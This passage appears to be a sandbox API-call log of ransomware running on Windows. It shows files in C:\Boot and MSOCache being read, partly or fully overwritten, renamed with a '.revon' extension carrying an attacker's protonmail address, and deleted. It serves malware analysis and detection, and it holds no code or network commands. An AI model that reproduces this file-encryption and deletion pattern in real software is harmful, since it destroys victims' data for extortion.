(lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0076.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\bootstat.dat.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.200] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0076.201] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31bfbc0 | out: lpNewFilePointer=0x0) returned 1 [0076.201] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31bfbc0 | out: lpNewFilePointer=0x0) returned 1 [0076.201] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\bootstat.dat.id[9c354b42-2795].[werichbin@protonmail.com].revon"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x194 [0076.202] ReadFile (in: hFile=0x19c, lpBuffer=0x33e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x31bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x33e0020*, lpNumberOfBytesRead=0x31bfbcc*=0x10000, lpOverlapped=0x0) returned 1 [0076.369] WriteFile (in: hFile=0x194, lpBuffer=0x33e0020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x31bfbb0, lpOverlapped=0x0 | out: lpBuffer=0x33e0020*, lpNumberOfBytesWritten=0x31bfbb0*=0x10010, lpOverlapped=0x0) returned 1 [0076.373] WriteFile (in: hFile=0x194, lpBuffer=0x33e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x31bfbb0, lpOverlapped=0x0 | out: lpBuffer=0x33e0020*, lpNumberOfBytesWritten=0x31bfbb0*=0xf2, lpOverlapped=0x0) returned 1 [0076.373] CloseHandle (hObject=0x19c) returned 1 [0076.373] CloseHandle (hObject=0x194) returned 1 [0076.376] DeleteFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0076.378] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.528] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x31bfbf8 | out: lpFileSize=0x31bfbf8*=1984228) returned 1 [0076.528] CloseHandle (hObject=0x1a4) returned 1 [0076.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0076.529] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0 [0076.529] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[9c354b42-2795].[werichbin@protonmail.com].revon"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0 [0076.705] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.705] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0076.706] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x31bfbf8 | out: lpFileSize=0x31bfbf8*=16972987) returned 1 [0076.706] CloseHandle (hObject=0x1ac) returned 1 [0076.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab")) returned 0x2020 [0076.707] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 1 [0076.710] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id[9c354b42-2795].[werichbin@protonmail.com].revon"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0076.710] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa48 | out: lpNewFilePointer=0x0) returned 1 [0076.710] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa48 | out: lpNewFilePointer=0x0) returned 1 [0076.710] ReadFile (in: hFile=0x1ac, lpBuffer=0x33e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31bfa54, lpOverlapped=0x0 | out: lpBuffer=0x33e0058*, lpNumberOfBytesRead=0x31bfa54*=0x40000, lpOverlapped=0x0) returned 1 [0076.720] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa48 | out: lpNewFilePointer=0x0) returned 1 [0076.720] ReadFile (in: hFile=0x1ac, lpBuffer=0x3420058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31bfa54, lpOverlapped=0x0 | out: lpBuffer=0x3420058*, lpNumberOfBytesRead=0x31bfa54*=0x40000, lpOverlapped=0x0) returned 1 [0076.733] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa48 | out: lpNewFilePointer=0x0) returned 1 [0076.733] ReadFile (in: hFile=0x1ac, lpBuffer=0x3460058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31bfa54, lpOverlapped=0x0 | out: lpBuffer=0x3460058*, lpNumberOfBytesRead=0x31bfa54*=0x40000, lpOverlapped=0x0) returned 1 [0076.946] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31bfbb8 | out: lpNewFilePointer=0x0) returned 1 [0076.946] WriteFile (in: hFile=0x1ac, lpBuffer=0x33e0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x31bfbb0, lpOverlapped=0x0 | out: lpBuffer=0x33e0020*, lpNumberOfBytesWritten=0x31bfbb0*=0xc0102, lpOverlapped=0x0) returned 1 [0076.971] SetEndOfFile (hFile=0x1ac) returned 1 [0076.971] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa50 | out: lpNewFilePointer=0x0) returned 1 [0076.971] WriteFile (in: hFile=0x1ac, lpBuffer=0x34a013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31bfa5c, lpOverlapped=0x0 | out: lpBuffer=0x34a013a*, lpNumberOfBytesWritten=0x31bfa5c*=0x40000, lpOverlapped=0x0) returned 1 [0076.995] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa50 | out: lpNewFilePointer=0x0) returned 1 [0076.995] WriteFile (in: hFile=0x1ac, lpBuffer=0x34a013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31bfa5c, lpOverlapped=0x0 | out: lpBuffer=0x34a013a*, lpNumberOfBytesWritten=0x31bfa5c*=0x40000, lpOverlapped=0x0) returned 1 [0076.996] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa50 | out: lpNewFilePointer=0x0) returned 1 [0076.996] WriteFile (in: hFile=0x1ac, lpBuffer=0x34a013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31bfa5c, lpOverlapped=0x0 | out: lpBuffer=0x34a013a*, lpNumberOfBytesWritten=0x31bfa5c*=0x40000, lpOverlapped=0x0) returned 1 [0076.997] CloseHandle (hObject=0x1ac) returned 1 [0085.606] SetEvent (hEvent=0x144) returned 1 [0085.607] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0085.607] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x31bfbf8 | out: lpFileSize=0x31bfbf8*=1886) returned 1 [0085.607] CloseHandle (hObject=0x1ac) returned 1 [0085.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0085.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0085.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0085.607] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0085.608] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31bfbc0 | out: lpNewFilePointer=0x0) returned 1 [0085.608] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31bfbc0 | out: lpNewFilePointer=0x0) returned 1 [0085.608] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-2795].[werichbin@protonmail.com].revon"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c0 [0085.608] ReadFile (in: hFile=0x1ac, lpBuffer=0x33e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x31bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x33e0020*, lpNumberOfBytesRead=0x31bfbcc*=0x75e, lpOverlapped=0x0) returned 1 [0085.613] WriteFile (in: hFile=0x1c0, lpBuffer=0x33e0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x31bfbb0, lpOverlapped=0x0 | out: lpBuffer=0x33e0020*, lpNumberOfBytesWritten=0x31bfbb0*=0x760, lpOverlapped=0x0) returned 1 [0085.615] WriteFile (in: hFile=0x1c0, lpBuffer=0x33e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x31bfbb0, lpOverlapped=0x0 | out: lpBuffer=0x33e0020*, lpNumberOfBytesWritten=0x31bfbb0*=0xf2, lpOverlapped=0x0) returned 1 [0085.615] CloseHandle (hObject=0x1ac) returned 1 [0085.615] CloseHandle (hObject=0x1c0) returned 1 [0085.620] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0085.621] SetEvent (hEvent=0x144) returned 1 [0085.622] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0085.625] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x31bfbf8 | out: lpFileSize=0x31bfbf8*=2513920) returned 1 [0085.625] CloseHandle (hObject=0x1c0) returned 1 [0085.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0085.625] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 1 [0085.626] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id[9c354b42-2795].[werichbin@protonmail.com].revon"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0085.626] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa48 | out: lpNewFilePointer=0x0) returned 1 [0085.626] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa48 | out: lpNewFilePointer=0x0) returned 1 [0085.626] ReadFile (in: hFile=0x1c0, lpBuffer=0x33e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31bfa54, lpOverlapped=0x0 | out: lpBuffer=0x33e0058*, lpNumberOfBytesRead=0x31bfa54*=0x40000, lpOverlapped=0x0) returned 1 [0085.635] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa48 | out: lpNewFilePointer=0x0) returned 1 [0085.635] ReadFile (in: hFile=0x1c0, lpBuffer=0x3420058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31bfa54, lpOverlapped=0x0 | out: lpBuffer=0x3420058*, lpNumberOfBytesRead=0x31bfa54*=0x40000, lpOverlapped=0x0) returned 1 [0085.657] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa48 | out: lpNewFilePointer=0x0) returned 1 [0085.657] ReadFile (in: hFile=0x1c0, lpBuffer=0x3460058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31bfa54, lpOverlapped=0x0 | out: lpBuffer=0x3460058*, lpNumberOfBytesRead=0x31bfa54*=0x40000, lpOverlapped=0x0) returned 1 [0085.945] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31bfbb8 | out: lpNewFilePointer=0x0) returned 1 [0085.946] WriteFile (in: hFile=0x1c0, lpBuffer=0x33e0020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x31bfbb0, lpOverlapped=0x0 | out: lpBuffer=0x33e0020*, lpNumberOfBytesWritten=0x31bfbb0*=0xc0112, lpOverlapped=0x0) returned 1 [0085.969] SetEndOfFile (hFile=0x1c0) returned 1 [0085.970] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa50 | out: lpNewFilePointer=0x0) returned 1 [0085.970] WriteFile (in: hFile=0x1c0, lpBuffer=0x34a014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31bfa5c, lpOverlapped=0x0 | out: lpBuffer=0x34a014a*, lpNumberOfBytesWritten=0x31bfa5c*=0x40000, lpOverlapped=0x0) returned 1 [0085.973] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa50 | out: lpNewFilePointer=0x0) returned 1 [0085.973] WriteFile (in: hFile=0x1c0, lpBuffer=0x34a014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31bfa5c, lpOverlapped=0x0 | out: lpBuffer=0x34a014a*, lpNumberOfBytesWritten=0x31bfa5c*=0x40000, lpOverlapped=0x0) returned 1 [0086.155] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa50 | out: lpNewFilePointer=0x0) returned 1 [0086.155] WriteFile (in: hFile=0x1c0, lpBuffer=0x34a014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31bfa5c, lpOverlapped=0x0 | out: lpBuffer=0x34a014a*, lpNumberOfBytesWritten=0x31bfa5c*=0x40000, lpOverlapped=0x0) returned 1 [0086.157] CloseHandle (hObject=0x1c0) returned 1 [0088.330] SetEvent (hEvent=0x144) returned 1 [0088.330] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0088.332] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x31bfbf8 | out: lpFileSize=0x31bfbf8*=1450) returned 1 [0088.332] CloseHandle (hObject=0x1c0) returned 1 [0088.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0088.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0088.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0088.333] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0088.333] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31bfbc0 | out: lpNewFilePointer=0x0) returned 1 [0088.333] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31bfbc0 | out: lpNewFilePointer=0x0) returned 1 [0088.333] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id[9c354b42-2795].[werichbin@protonmail.com].revon"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1ac [0088.333] ReadFile (in: hFile=0x1c0, lpBuffer=0x33e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x31bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x33e0020*, lpNumberOfBytesRead=0x31bfbcc*=0x5aa, lpOverlapped=0x0) returned 1 [0088.403] WriteFile (in: hFile=0x1ac, lpBuffer=0x33e0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x31bfbb0, lpOverlapped=0x0 | out: lpBuffer=0x33e0020*, lpNumberOfBytesWritten=0x31bfbb0*=0x5b0, lpOverlapped=0x0) returned 1 [0088.404] WriteFile (in: hFile=0x1ac, lpBuffer=0x33e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x31bfbb0, lpOverlapped=0x0 | out: lpBuffer=0x33e0020*, lpNumberOfBytesWritten=0x31bfbb0*=0x102, lpOverlapped=0x0) returned 1 [0088.405] CloseHandle (hObject=0x1c0) returned 1 [0088.405] CloseHandle (hObject=0x1ac) returned 1 [0088.414] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0088.419] SetEvent (hEvent=0x144) returned 1 [0088.420] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0088.420] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x31bfbf8 | out: lpFileSize=0x31bfbf8*=9958388) returned 1 [0088.420] CloseHandle (hObject=0x1ac) returned 1 [0088.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0088.421] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 1 [0088.421] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id[9c354b42-2795].[werichbin@protonmail.com].revon"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0088.422] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa48 | out: lpNewFilePointer=0x0) returned 1 [0088.422] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa48 | out: lpNewFilePointer=0x0) returned 1 [0088.422] ReadFile (in: hFile=0x1ac, lpBuffer=0x33e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31bfa54, lpOverlapped=0x0 | out: lpBuffer=0x33e0058*, lpNumberOfBytesRead=0x31bfa54*=0x40000, lpOverlapped=0x0) returned 1 [0088.474] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa48 | out: lpNewFilePointer=0x0) returned 1 [0088.474] ReadFile (in: hFile=0x1ac, lpBuffer=0x3420058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31bfa54, lpOverlapped=0x0 | out: lpBuffer=0x3420058*, lpNumberOfBytesRead=0x31bfa54*=0x40000, lpOverlapped=0x0) returned 1 [0088.493] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa48 | out: lpNewFilePointer=0x0) returned 1 [0088.493] ReadFile (in: hFile=0x1ac, lpBuffer=0x3460058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31bfa54, lpOverlapped=0x0 | out: lpBuffer=0x3460058*, lpNumberOfBytesRead=0x31bfa54*=0x40000, lpOverlapped=0x0) returned 1 [0088.603] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31bfbb8 | out: lpNewFilePointer=0x0) returned 1 [0088.603] WriteFile (in: hFile=0x1ac, lpBuffer=0x33e0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x31bfbb0, lpOverlapped=0x0 | out: lpBuffer=0x33e0020*, lpNumberOfBytesWritten=0x31bfbb0*=0xc0102, lpOverlapped=0x0) returned 1 [0088.848] SetEndOfFile (hFile=0x1ac) returned 1 [0088.848] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa50 | out: lpNewFilePointer=0x0) returned 1 [0088.848] WriteFile (in: 